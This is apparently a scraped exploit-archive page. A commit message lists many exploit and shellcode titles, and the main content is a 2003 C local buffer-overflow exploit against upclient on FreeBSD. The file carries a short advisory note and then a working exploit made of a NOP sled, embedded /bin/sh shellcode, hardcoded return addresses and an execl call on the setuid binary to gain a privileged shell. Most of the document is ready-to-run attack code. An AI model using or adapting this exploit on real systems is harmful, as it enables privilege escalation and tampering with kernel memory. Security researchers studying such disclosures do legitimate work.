880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
50 lines
No EOL
1.7 KiB
C
50 lines
No EOL
1.7 KiB
C
// source: https://www.securityfocus.com/bid/7703/info
|
|
|
|
upclient has been reported prone to a buffer overflow vulnerability when handling command line arguments of excessive length.
|
|
|
|
It is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of upclient. Typically setuid kmem.
|
|
|
|
An attacker may harness elevated privileges obtained in this way to manipulate arbitrary areas in system memory through /dev/mem or /dev/kmem devices.
|
|
|
|
/*
|
|
*
|
|
* NuxAcid - UPCLIENT Local Buffer Overflow Exploit
|
|
* written on/for FreeBSD
|
|
* tested against UpClient 5.0b7 on FreeBSD 4.8
|
|
* for FreeBSD 5.x the code has to be tweaked
|
|
* other versions may be vulnerable too
|
|
*
|
|
* 2003 by Gino Thomas, http://www.nux-acid.org
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
#define BUFFERSIZE 1022
|
|
|
|
|
|
unsigned long get_sp(void) {
|
|
__asm__("movl %esp, %eax");
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
char buffer[BUFFERSIZE] = "";
|
|
|
|
//FreeBSD exec/setuid Shellcode
|
|
static char shellcode[] =
|
|
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
|
|
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
|
|
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
|
|
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
|
|
|
|
memset(buffer, 0x90 ,sizeof(buffer));
|
|
*(long *)&buffer[BUFFERSIZE - 4] = 0xbfbffb21;
|
|
*(long *)&buffer[BUFFERSIZE - 8] = 0xbfbffb21;
|
|
*(long *)&buffer[BUFFERSIZE - 16] = 0xbfbffb21;
|
|
memcpy(buffer + BUFFERSIZE - 16 - strlen(shellcode), shellcode, strlen(shellcode));
|
|
|
|
execl("/usr/local/sbin/upclient","upclient", "-p", buffer, NULL);
|
|
return 0;
|
|
} |